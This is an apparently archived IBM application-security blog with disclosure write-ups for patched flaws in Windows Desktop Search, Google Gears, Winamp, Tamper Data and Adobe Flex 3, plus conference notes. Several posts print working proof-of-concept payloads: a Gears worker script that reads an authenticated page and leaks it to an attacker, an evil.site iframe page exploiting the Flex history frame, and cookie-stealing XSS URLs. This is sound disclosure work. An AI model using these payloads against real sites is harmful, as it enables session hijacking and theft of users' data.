IBM Application Security Insider

Windows Desktop Search – Indirect Script Injection

Background

Windows Desktop Search (WDS) is a popular desktop search tool released by Microsoft. WDS indexes a large variety of files located on the user's computer (as well as network shares, if configured to do so by the user). It then offers fast searching capabilities over these files. Like some of its competitors, WDS uses an embedded Internet-Explorer browser component in order to preview the search results to the user.

Browsers embedded within Desktop Applications have been a favorite research topic of mine for some time now, due to the special security-context issues posed by the embedded-browsers.

One of the interesting challenges of trying to attack Desktop Applications that use Embedded Browser components is trying to discover the injection vector – and it usually requires unusual measures to mount a successful script injection attack in such cases.

A while ago I found a way of indirectly injecting JavaScript code into the WDS embedded-browser. Because of its security-context, I discovered it was possible to access data on any domain (bypassing the Same Origin Policy) and therefore gather some very interesting data from the attacked box.

A fix for the attack described below has been just released by Microsoft. If you use WDS, it is advisable to install the fix.

Vulnerability

WDS previews the search results to the user via an embedded-browser. In order to support non-HTML/XML files, WDS uses converters that transform the files into HTML. As part of this process, potentially hazardous characters are escaped by the converters.

However, it turns out that HTML files do not undergo any sanitation process before being presented. Instead, WDS simply loads the files into its embedded browser from the local hard-drive.

In accordance with the security settings of the embedded browser, the aforementioned local HTML files are loaded with partial JavaScript execution permissions that require no user-approval.

While the ActiveX implementation of XMLHTTP (e.g. new ActiveXObject("Msxml2.XMLHTTP")…) cannot be initiated automatically due to a security restriction, it turns out that the XMLHttpRequest JS object (new XMLHttpRequest()…) can be initiated and used without limitations.

What makes this vulnerability particularly interesting is the fact that in this context the XMLHttpRequest object can freely interact with any domain; sending on the victim's persistent cookies (if there are any). In other words, an attacker exploiting the aforementioned vulnerability can impersonate the victim on sites for which the victim is authenticated. "Example of a Possible Attack" below shows how sensitive information might be hijacked from a Gmail account.

Attack Flow

1. A remote attacker puts a specially crafted HTML file in a directory indexed by WDS. This phase can be accomplished in either of the following ways:
   • Exploiting a "File Dropping" vulnerability (such as the recent "Carpet-Bombing" vulnerabilities in Safari & Google Chrome).
     •  Anecdote: Due to the security evolution of Google Chrome, up-to-date versions ask for user-approval when an .HTM file download attempt takes place (instead of auto-downloading it, as it used to): 
        
       However, I discovered that it is still possible to drop MHTML files by causing an automatic download attempt of an *.mht file:
        
   • Taking advantage of the fact HTML files are presumed by many to be harmless (especially if not even directly loaded by a browser) to mount a social engineering attack.
2. Let's assume the specially crafted HTML filename is: mal.html.
   • The file should contain some likely-to-be-queried keywords as well as JavaScript code. (e.g. "Watchfire IBM Microsoft <script>alert(123)</script>").
3. At that point, mal.html is already indexed by Windows Desktop Search.
4. At some point, the user queries for a word that shows up in mal.html ("Microsoft", for example) via Windows Desktop Search.
5. Due to the lack of sanitation, when mal.html is displayed via the preview pane (which is in fact an embedded IE browser) the script within mal.html is automatically executed.

NOTES:

• If the results pane is ordered by date, it is very likely that mal.html will be selected automatically, without any user interaction.
• In order to amplify the success rate of the attack, multiple files that contain malicious JavaScript code along with likely-to-be-queried keywords can be dropped to the victim's hard-drive.

Example of a Possible Attack

In this scenario, our victim has a Google account ([email protected]) with one mail filled with secret passwords in its inbox.

Like many users, the victim uses the "Remember me on this computer" feature, and persistent Google account authentication cookies are therefore stored on his/her system.

At some point, the victim uses WDS and queries a "poisoned" keyword (in this example, the keyword is "Microsoft").

While the victim views this file via WDS, the following happens:
1. An XMLHttpRequest object is created.
2. Due to the security context of the embedded-browser, a bi-directional connection to Gmail is successfully established (Same-Origin Policy is not enforced).
3. The contents of the inbox page are retrieved (The XMLHttpRequest object uses the persistent cookies for the [email protected] account).
4. The response is parsed and information about the "Secret Stuff" mail message is presented.

 

Final Remarks

Since various Desktop Search Tools use a mechanism similar to Windows Desktop Search in order to present search results to the user it is very likely that similar vulnerabilities and attack vectors might apply to these products too.

Acknowledgments

I would like to acknowledge and thank Microsoft for the highly professional way in which they had handled this security issue.

Active Man in the Middle Attacks

Adi Sharabani, manager of our own IBM Rational Security Group, gave a keynote presentation on the subject of Active Man in the Middle attacks at the recent OWASP AU conference that was held yesterday.

With an Active MitM attack targeting Web Applications, an attacker can steal users' private data for any site he chooses if his victim uses a public network to read the latest news headlines or weather report on an 'uninteresting' site. In addition, the attack could also be made persistent, even after the victim has left the MitM influence. These attacks are a product of a serious design flaw and not an implementation error or bug.

Although MitM attacks against Web Applications have been partially discussed before with similar issues such as "SideJacking" and "Surf Jacking", a comprehensive full research has yet to have been performed.

The presentation attached gives an overview of the subject while the paper gives thorough in-depth description of this dangerous category of attacks and proposed remedies.

You can download the presentation in PPT format here, or download the full version of the whitepaper as PDF here.

Breaking Google Gears' Cross-Origin Communication Model

Background

Google Gears is a well-known RIA infrastructure, used extensively by Google in various services such as Google Docs and Google Reader as well as in non-Google services such as MySpace, Zoho Writer and WordPress.

Gears is a browser extension that allows developers to create richer and more responsive web-applications. One of its key features is the ability to create web-applications that can run both online and offline transparently.
Some of the capabilities Gears introduces are:

• A local server, to cache and serve application resources (HTML, JavaScript, images, etc.) without needing to contact a server
• A database, to store and access data from within the browser
• A worker thread pool, to make web applications more responsive by performing expensive operations in the background
• The HttpRequest API, which implements a subset of the W3C XmlHttpRequest specification
• A Geolocation API that enables a web application to obtain a user's geographical position

(The descriptions above are taken from the Google Gears documentation)

In my opinion, one of the nicest things in Gears is the way it is utilized. This is done by inserting JavaScript calls to Gears' API within the HTML code of the web-application. Therefore, unlike some of its alternatives, Gears can be integrated into existing web-applications easily and fluently.

For a full explanation and usage examples of Google Gears, you are invited to enter the Getting Started section in the Google Gears website.

Like other RIA infrastructures, Google Gears offer developers cross-origin communication capabilities. These capabilities are very important to developers, as they make it much easier to implement mashups and other desirable features.

Security-wise, however, cross-origin communication has some downsides. A poor or careless implementation might allow attackers to break-out of the same-origin policy and mount large scale user-impersonation attacks. The ramifications of such a flaw can be disastrous.

A few months ago, I discovered that the cross-origin communication security model of Google Gears wasn't solid enough, and that under some circumstances it could be bypassed pretty easily.
After coordinating a fix with Google, I can now reveal the details.

Gears' Cross-Origin communication implementation

Let's assume that we are web-developers and that we have a web page located at http://Some.Site/ that needs to gather information from a user-authenticated session at http://Another.Site/.
This can be done by using Google Gears' WorkerPool API. All you have to do is load a Google Gears "worker" (JavaScript code with access to Google Gears capabilities such as Local Server, Http communication and Database) using the createWorkerFromUrl(scriptUrl) method.
Google Gears "workers" that are intended to be loaded from a remote origin must begin with a call to allowCrossOrigin(). This serves as a security measure against unauthorized remote loading of "workers".

If a worker was created from a different origin, all methods on google.gears.factory will fail in that worker until allowCrossOrigin() is called.
This prevents cross-site scripting attacks where the attacker could load a worker URL from another domain, then send malicious messages to that worker (e.g. "delete-all-data").
Workers that call allowCrossOrigin() should check messageObject.origin and ignore messages from unexpected origins.

Here's an excerpt from Google Gears' documentation:

If a worker was created from a different origin, all methods on google.gears.factory will fail in that worker until allowCrossOrigin() is called.
This prevents cross-site scripting attacks where the attacker could load a worker URL from another domain, then send malicious messages to that worker (e.g. "delete-all-data").
Workers that call allowCrossOrigin() should check messageObject.origin and ignore messages from unexpected origins.

The Problem

At first sight, this protection seems to be solid.

However, after playing around with the infrastructure, I found that the Google Gears workers' loader has a rather promiscuous policy: it disregards the headers of the Gears worker files it loads!
That fact opens an aperture for malicious attacks. It significantly broadens the options an attacker has for planting malicious Gears worker code in a target website. For example, it is possible to upload files with an image suffix that actually contain Gears Worker code instead. Later on, such a file might be loaded from the context of other domains by a Google Gears Worker loader, despite the fact that it is served as an image file by the web-server!

It follows that the security of websites that contain users' content (forums, web-mails, social networks, office-like services, etc.) might be circumvented and damaged due to this behavior. During my research, I verified that various well-known services are indeed susceptible to the attack described in this summary.

Furthermore, the fact that the Gears worker code doesn't contain concrete "dangerous" characters might actually make it harder for websites to defend against Google Gears-based cross-origin access attacks such as the one described below.

An example of Google Gears worker code:

var wp = google.gears.workerPool;

wp.allowCrossOrigin();



wp.onmessage = function(a, b, message) {

  var request = google.gears.factory.create('beta.httprequest');

  request.open('GET', 'http://TARGET.SITE/SENSITIVE_PAGE.htm');



   request.onreadystatechange = function() {

     if (request.readyState == 4) {



     wp.sendMessage("The response was: " + 

     request.responseText, message.sender);



     }

   };



request.send();

}

The script above grabs information from http://TARGET.SITE and then leaks it back to its remote caller using Google Gears' built in messaging API.

Flow of Attack

1. Attacker creates a text file that contains (malicious) Google Gears commands (Accessing the DB, using the HttpRequest module, etc.).
2. Attacker finds a way to put the text content into a target domain (http://TARGET.SITE/Upload/innocent.jpg, for example). The Gears "worker" code does not contain suspicious characters (<,>, etc...), it is therefore less likely to be filtered by http://TARGET.SITE's server-side logic.
3. Attacker creates http://ATTACKER.SITE/attack.html which contains some Google Gears code that loads and executes http://TARGET.SITE/Upload/innocent.jpg.
4. The code embedded in innocent.jpg (in this example) runs in the context of http://TARGET.SITE. It therefore has permissions to access Google Gears client-side objects such as the DB, the local server data or web resources (with the victim's credentials) using the HttpRequest module built into Google Gears.
5. All information collected in the previous phase can easily be leaked back to http://ATTACKER.SITE using Google Gears' standard messaging mechanism.

Note:
While http://ATTACKER.SITE has to be approved for using Google-Gears, http://TARGET.SITE can be any site that hosts user-created content, even if it doesn't use Google-Gears at all.

The Fix

Following my reporting to Google of the aforementioned flaw and attack, a patched version of Google Gears was released. The fix is based on a special Google-Gears Content-Type header value (application/x-gears-worker) that must be sent by the web-server when it serves Google-Gears worker code files. Without that value the loading of such worker files is denied.

While this looks like a great solution, it suffers from a slight backward-compatibility issue. Web-developers who rely on Google Gears should be aware that the fix might require some changes, such as creating a special rule in the web-server for serving Google-Gears worker code files.

For more information about the new security restriction described above, please visit the Google-Gears cross-origin workers documentation.

Acknowledgments:

I would like to thank the Google Gears security team for their quick responses and the efficient way in which they handled this security issue.

Flash Parameter Injection

During the recent OWASP NYC AppSec conference, Adi Sharabani & Ayal Yogev, both from the IBM Rational application security research group, gave a presentation on the subject of Flash security, and revealed the details of a new Flash related attack vector called Flash Parameter Injection (FPI).

You can find more information on FPI in the following 2 links:

1. Flash Parameter Injection - OWASP Presentation (be sure to view in full screen, as this presentation contains some nifty animations)
2. Flash Parameter Injection - Advisory / Whitepaper (PDF format)

It appears that the world of Flash & Flex web application security is still in its infancy, but you can rest assured that our team will continue to research new vulnerabilities and develop new technique to combat/detect them. So...stay tuned for new developments from IBM Rational application security.

Winamp "NowPlaying" Unspecified Vulnerability: The Details

Hey,

Since no information has yet been published about a vulnerability I recently discovered in Winamp, and the issue has raised some interest, here are the details.

Recently, while listening to some music via Winamp (my favorite media player), I recalled an old Winamp Buffer-Overflow vulnerability found by Leon Juranic in 2005.
Leon found that since Winamp didn't expect long inputs in mp3 id3 tags, a buffer-overflow attack was possible by playing specially crafted mp3 files with lengthy tags.

Knowing that Winamp uses an embedded browser in various places, I decided to take a closer look at it and see what could be done... ;)
My aim was to inject JavaScript into the context of the embedded browser, and examine the ramifications. I suspected that the mp3 id3 tags might be a good place to start, and therefore concentrated on the "Now Playing" feature.

Winamp's "Now Playing" feature uses an embedded browser to present information about the currently played media file. When the user plays a media file, some of the file's metadata is embedded into the HTML that the embedded-browser displays.

It turned out that if the metadata (id3 tags) of the mp3 file contained a JavaScript payload, Winamp failed to sanitize it and therefore injected it intact into the embedded browser – a feasible XSS exploitation scenario.

A (seemingly) normal mp3 file.


Adding "A song.mp3" to Winamp's playlist


Playing the poisoned mp3 file...
Attacker-controlled JavaScript code is executed.

Furthermore, due to the integration between the embedded browser and the Winamp application, this script injection vulnerability has some unique characteristics.

In many cases, Desktop applications that utilize IE embedded browsers render the HTML content in a highly privileged zone called "My Computer Zone". This zone allows the programmer to perform a wide range of actions on the computer and thereby to "interact" with the hosting application. The downside of this (fairly common) approach is that if the application is susceptible to XSS, a malicious attacker might be able to exploit it and gain full system control over the victim's system. (Aviv Raff did some great work in this field, "Skype cross-zone scripting vulnerability" being a well-known example.)

Winamp's programmers were probably aware to this security threat and therefore chose a different approach. Instead of creating and loading a local file that contains all the relevant data (e.g. data about the song retrieved from the Internet and data originated from the id3 tags of the mp3 file) in a privileged security zone, Winamp loads the embedded browser with a page located in http://client.winamp.com (Internet URL - non-privileged zone).

At first glance, this seems to make an XSS attack innoxious, because of Same Origin policy. However, in order to implement the required interaction between the Winamp application and its embedded browser, a bridge from the browser to Winamp was created in the form of window.external. That means that JavaScript code (which is attacker-controlled due to the XSS vulnerability I found) could trigger various internal functionalities of Winamp which were not intended to be invoked by a remote attacker.

The attack could then be taken one step ahead, by trying to identify functions that are susceptible to memory-based attacks or logical attacks (Reading/Writing of information from/to the victim's host and even gaining full system control in the form of executing commands).

Since the attack is almost undetectable (the malicious JavaScript within the id3 tags can be padded with white spaces and therefore rendered invisible to the Winamp user when the malicious mp3 file is played), such a poisoned file could be easily distributed via P2P networks, resulting in a large-scale (and possibly silent) attack against Winamp users.

The id3 tags editor of Winamp doesn't give indication for the attack (due to white spaces padding)...

Going to the end of the Artist text box reveals the (potentially malicious) JavaScript code

Acknowledgments:

I would like to thank Winamp's team for their quick responses and the efficient way in which they handled this security issue.

Automated Crawling & Security Testing of Flash/Flex Web Applications

Ronen Bachar, from our own IBM Rational AppScan team, gave a presentation on the (*hot*) subject of automated Flash/Flex application security testing, at the recent OWASP IL conference that was held last week (I have a strange feeling of a Deja-Vu).

The presentation gives a high level overview of Flash, Flex and the AMF protocol, and dives into some gory details (although some gore is missing from the online presentation) regarding the challenges and possible approaches for performing automated crawling and security testing of web applications that were built using these technologies.

 

And while we're on the subject of Adobe Flash & Flex web applications - if you happen to be in New York next week for the OWASP AppSec conference, be sure to attend another presentation by our team (Adi Sharabani & Ayal Yogev), on the subject of Flash Parameter Injection.

Tamper Data Cross-Site Scripting

I recently came across an XSS vulnerability in the Tamper Data plug-in for Firefox.

Abstract: 

Tamper Data is capable of generating HTML based graphs of request timings. The graph view includes a variety of information about the requests, such as HTTP status, timing, and URL. 

 

Vulnerability:

The displayed URLs are not sanitized before being printed to the output stream, this allows malicious users to inject HTML into the Graph View's DOM. 

An attacker can trigger this vulnerability by various methods. 

One method might be to convince a naive user to visit a specially crafted URL that contains a malicious script, while Tamper Data is activated. 

Another method might be to convince the victim to surf into a site which the attacker controls. The attacker can then make the site cause the victim's browser to initiate a request to a URL which contains HTML of the attacker's choice. 

If the victim runs the "Graph All" feature after the malicious URL has been captured by Tamper Data, the attacker's HTML will be rendered in the context of the Graph view's DOM, enabling the attacker to run malicious scripts, as shown below: 

 

Impact: 

1) Information Leakage: This vulnerability can be exploited to access data displayed on the victim's Graph View page. 

2) Phishing: This vulnerability can be exploited to display false information on the victim's Graph View page. 

 

 

Test Environment: 

Firefox 3.0, Tamper Data 10.0.4 

 

Fix Recommendation:

A new version (10.1.0) of Tamper Data has been released in order to address this issue.

 

Acknowledgements: 

I would like to thank Tamper Data's author, Adam Judson, for his quick response and the efficient way in which he handled this security issue.

Cross Environment Hopping

Prologue

Our research team has identified a web-based attack technique that exploits the growing number of applications that require a web server being run on a local machine. Cross-Environment Hopping (CEH) is a result of this trend combined with the current limitations in browsers’ same-origin policy access restrictions.

The CEH technique enables an attacker to exploit a local XSS vulnerability in order to “hop” to a different environment, such as another locally installed server. Under certain circumstances it may even be possible for an attacker to access remote network services such as network share drives, remote procedure calls, intranet mail, SQL servers, and so on.

This write-up will prove that the current implementation of same origin policy on the localhost in up-to-date Web browsers, combined with the presence of an XSS vulnerability, creates a special set of circumstances that enable environment hopping, and that the resulting malicious activity can be performed on any server running on a designated port.

We would like to credit Rob Carter for his great work in describing the problematic nature of exploiting XSS vulnerabilities in local web servers by taking advantage of the promiscuous security behavior of Internet Explorer 6.

 

JavaScript Code Flow Manipulation, and a real world example advisory - Adobe Flex 3 Dom-Based XSS

We recently researched an interesting DOM-based XSS vulnerability in Adobe Flex 3 applications that exploits a scenario in which two frames (parent & son) interact with each other, without properly validating their execution environment.

In our research, we have seen that in some cases, it is possible to manipulate JavaScript code flow, by controlling the environment in which it runs. Specifically, we managed to return hacker-controlled boolean values to conditional statements, and by that force the application to be vulnerable to an existing DOM-based XSS, which was otherwise unexploitable.

The advisory presented herein, is a real world example of the research mentioned above, and contains two XSS variants. The second of which, makes use of the JavaScript Flow Manipulation technique.

# # #  Begin Advisory # # #

This advisory describes a new security vulnerability found in auto-generated code created by Adobe Flex 3 (Builder & SDK) that uses the default HistoryManager or Deep Linking support. 

Attack Variant #1: DOM Based Cross-Site Scripting

The following text, which describes the HistoryManager and Deep Linking support in Adobe Flex, was taken from the official Adobe documentation:

"The Flex History Manager lets users navigate through a Flex application by using the web browser's back and forward navigation commands. For example, a user can navigate through several Accordion container panes in a Flex application, and then click the browser's Back button to return the application to its previous states.

The HistoryManager class provides a subset of functionality that is provided by the BrowserManager class and deep linking. In general, you should use the BrowserManager class and deep linking for maintaining state in an application and manipulating URLs and browser history, but the HistoryManager class can be useful under some circumstances, such as if you are maintaining a Flex 2.x application. For more information about deep linking and the BrowserManager class, see About deep linking.

History management is implemented as a set of files that are referenced in the application's wrapper. By default, Adobe Flex Builder generates a wrapper that supports history management, but you can disable it. When you deploy an application that uses the HistoryManager, you must also deploy the history management files such as history.css, history.js, and historyFrame.html. These are the same files that are used by the BrowserManager for deep linking support. For more information, see Deploying applications that use deep linking."

The following code was taken from the historyFrame.html:

...

function processUrl() 

 {

            var pos = url.indexOf("?");

            url = pos != -1 ? url.substr(pos + 1) : "";

            if (!parent._ie_firstload) {

                parent.BrowserHistory.setBrowserURL(url);

                try {

                    parent.BrowserHistory.browserURLChange(url);

                } catch(e) { }

            } else {

                parent._ie_firstload = false;

            }

 }

var url = document.location.href;

processUrl();

document.write(url); 

...

As can be seen from the code above, the url variable, holds the document.location.href string, and is later on written to the HTML document. So, in order for the XSS attack to work, the malicious payload should be injected into the URL. Here's an exploit URL:

http://www.some.site/flex_html_wrapper.html#<script>alert(document.cookie)</script>

Note 1: due to how Flex HistoryManager is implemented, the above exploit URL will only work on Microsoft Internet Explorer

Note 2: in the example above, the file /flex_html_wrapper.html is the HTML wrapper file of the Flex SWF

Attack Variant #2: DOM Based XSS Using JavaScript Flow Manipulation

From a quick research into how Flex 3 applications support deep linking ("browser navigation integration"), we have noticed that the attack we described above, will only work if the developer explicitly makes use of either HistoryManager or BrowserManager classes. In such case, the application will use the vulnerable code presented above (i.e. it will load the vulnerable file /history/historyFrame.html into the browser).

This fact limits our attack vector to sites that were designed to actively use history management / deep linking (note: all applications that were compiled with "enable integration with browser navigation" ship with the vulnerable file, but they don't load it into the browser unless the above objects are used in the code).

When we looked at the JavaScript code in /history/historyFrame.html, we saw that calling it directly in order to mount the DOM-based XSS attack (against all Flex 3 sites that include that file) will not work. This is because the JavaScript first calls the function processUrl before performing the vulnerable document.write(url)

The function processUrl, contains the following lines of code:

if (!parent._ie_firstload) { 
     parent.BrowserHistory.setBrowserURL(url);
...

When there is no parent document (or if the parent document does not contain the object _ie_firstload),  the condition inside the parenthesis is evaluated to TRUE. This in turn, causes the line:

parent.BrowserHistory.setBrowserURL(url);

to get executed, resulting in a runtime exception, since no such objects and methods actually exist (there is no parent document). At this point,  the attack will fail.

In order to bypass this obstacle, we have created a (malicious) parent document, which includes an IFrame whose source is the vulnerable HTML page /history/historyFrame.html. In addition, we have added another IFrame (called _ie_firstload), whose role will be explained below.

The malicious HTML page looks like this (line wrapped): 

<!-- HTML source of page, hosted on http://www.evil.site/ -->

<html>

 <body>

  <iframe name="_ie_firstload"></iframe>

  <iframe src="http://www.vuln.site/app/history/historyFrame.html?

#<script>alert('xss')</script>"></iframe>

 </body>

</html>

Upon visiting this malicious page, which is hosted on http://www.evil.site/ the victim's browser issues a request to the vulnerable Flex application that is hosted on http://www.vuln.site/. The request exploits the DOM-based XSS vulnerability that was mentioned in the first section (variant #1).

Here's a quick explanation of the attack:

1. The JavaScript code that is executed in /history/historyFrame.html (see JS code in the previous section), looks at the Boolean value that parent._ie_firstload returns.
2. Since our malicious parent document actually includes a child node with the same name (a bogus IFrame element that we named "_ie_firstload"), the script flow is manipulated. (we do not enter the first block of the IF statement)
3. The JavaScript code that was just manipulated goes ahead to the ELSE statement
4. The function processUrl exits cleanly, and our DOM-based XSS attack succeeds.

Pay attention to #2 - the child IFrame was expecting its parent to return TRUE or FALSE depending on the existence of a JavaScript object (_ie_firstload), but since we controlled the parent's DOM, we have substituted the JavaScript object, with an IFrame. The IFrame's existence in the parent DOM allows us to fool the child IFrame into believing that such object exists.

We have decided to use an IFrame instead of a regular JavaScript object, since the browser's same origin policy will not allow the child IFrame to access JavaScript objects originating from a different domain (www.evil.site). Nevertheless, the browser will allow the child IFrame to traverse the parent's IFrame structure. In our case, the JavaScript code flow manipulation technique was relying on this browser behavior.

 

To sum things up, all a hacker needs to do in order to exploit this vulnerability, is host a malicious HTML page as shown above, which points to a Flex application that includes the file /history/historyFrame.html.

This file exists by default in all Adobe Flex 3 applications that were created either by Flex 3 Builder or the Flex 3 SDK (regardless if the developer chose to use HistoryManager or BrowserManager)

Impact

First and foremost, this vulnerability is extremely severe, since every Flex web application that is developed using Flex Builder 3 or the Flex 3 SDK (see the next paragraph), includes the file /history/historyFrame.html (this file exists by default), and thus is vulnerable to DOM-based XSS.

In order for the vulnerable files to be included in the Flex application, the developer has to enable "integration with browser navigation". This option is enabled by default, and can be configured from the project properties.

The most severe impact of the vulnerability described in this document is achieving a successful DOM based cross-site scripting attack. If an application is vulnerable to attacks of this type, a remote attacker can execute a malicious script in the context of the victim's browser which can access cookies, session tokens and other sensitive data kept by the browser for the vulnerable web application.

Fix Recommendations:

The following fix recommendations are taken from the Adobe security bulletin:

Adobe recommends all Flex 3 developers who have enabled History Management update applications created with Flex 3 and their Flex 3 product installations with the following instructions:

 

• Flex 3 users (both Flex 3 SDK and Flex Builder 3) should update their product installations with the Flex 3.0.2 SDK update.

 

• Flex 3 users who have enabled History Management in their currently deployed Flex 3 web applications should update all instances of the historyFrame.html file with the updated file. The three instances of historyFrame.html in the Flex 3 SDK installation can be found in the following locations:

{install root}/templates/html-templates/client-side-detection-with-history/history/historyFrame.html

{install root}/templates/html-templates/express-installation-with-history/history/historyFrame.html

{install root}/templates/html-templates/no-player-detection-with-history/history/historyFrame.html

 

Acknowledgements:

• We would like to commend Adobe for their quick response and the efficient way in which they handled this security issue. We wish that other vendors would be as responsible as Adobe for the protection of their customers.
• This research was performed by the following IBM Rational Application Security Group Members: Ory Segal & Adi Sharabani, with the help of Ayal Yogev.
• Special thanks goes to Amit Klein for his technical review and useful comments.

CVE ID: CVE-2008-2640

# # # End Advisory # # #

Periodic Blurbs

Hi There,

Just wanted to leave you all a quick note that we haven't forgotten how to blog :-) we've been busy over our heads with migrating things to IBM (called Blue-Washing around here), developing new version of AppScan (as always, we have to stay ahead of the pack), and researching new and interesting security vulnerabilities. In the meantime, here's a quick list of anecdotes to keep you busy -

• OWASP AppSec Europe 2008 is right around the corner. I strongly recommend attending this conference, as it looks like the agenda is packed with great presentations. The conference will take place in Ghent, Belgium, which means that good beer won't be a problem. If you haven't registered yet, I suggest you do so, and prepare to work hard in locating a hotel in the vicinity. Every single hotel is booked solid, and you might need to make some compromises. In addition, I am currently planned to be on the panel at the end of the first day ("The PCI 6.6 dogfight - to Scan or to WAF, this is the question") - I wouldn't miss a chance to voice my opinions
• Adobe Flash/Flex security- we have been researching Flex and Flash security a lot lately as a part of our continuous effort to stay ahead of the technology. RIA security is the next big thing, and the green pastures of security vulnerabilities are awaiting. Rest assured that readers of this blog will be the first to read about our research, and some of it will also be presented at the OWASP AppSec conference in NYC later this year
• IBM Rational Software Development Conference (RSDC) 2008 is coming up (June 1-5, 2008). This year's conference will host a full track on Application Security & Compliance (click to view agenda), and will include some great presentations in our field. I am also going to be there, and will give a session on Web 2.0 security (AS09). In addition, William Shatner is one of the keynote speakers - are you seriously going to miss Captain Kirk talking about software development?
• "Static code analysis is inherently doomed to fail" - at least that's what the author of this blog thinks. Well, I beg to differ, and for every reason mentioned in the above post, there's a reasonable solution or a workaround. In addition, I can't help but say - that's what happens when your scanner GREPs for security vulnerabilities ;-) ouch, don't take it personally...
• Cisco announces their own stab at building a web application firewall (WAF). I guess PCI 6.6. is kicking in :-) oh AppShield, where art thou? seriously now, I'm hearing and reading about WAFs everyday and in every blog - that's simply awesome to see that this market is finally picking up
• Charles is my new best friend. I'm not sure if I've mentioned it before in this blog, but this HTTP Proxy simply kicks ass (and it supports AMF message tampering for those pesky Flash remoting apps). Next to firebug (and of course AppScan), this is probably one of the best tools to have in your arsenal. Check it out
• Off topic - I just finished reading a book called "The Volunteer: The Incredible True Story of an Israeli Spy on the Trail of International Terrorists", while I'm not sure how "true" this story is, I did enjoy the espionage parts of it. I strongly recommend it.

That's all for now, and don't forget -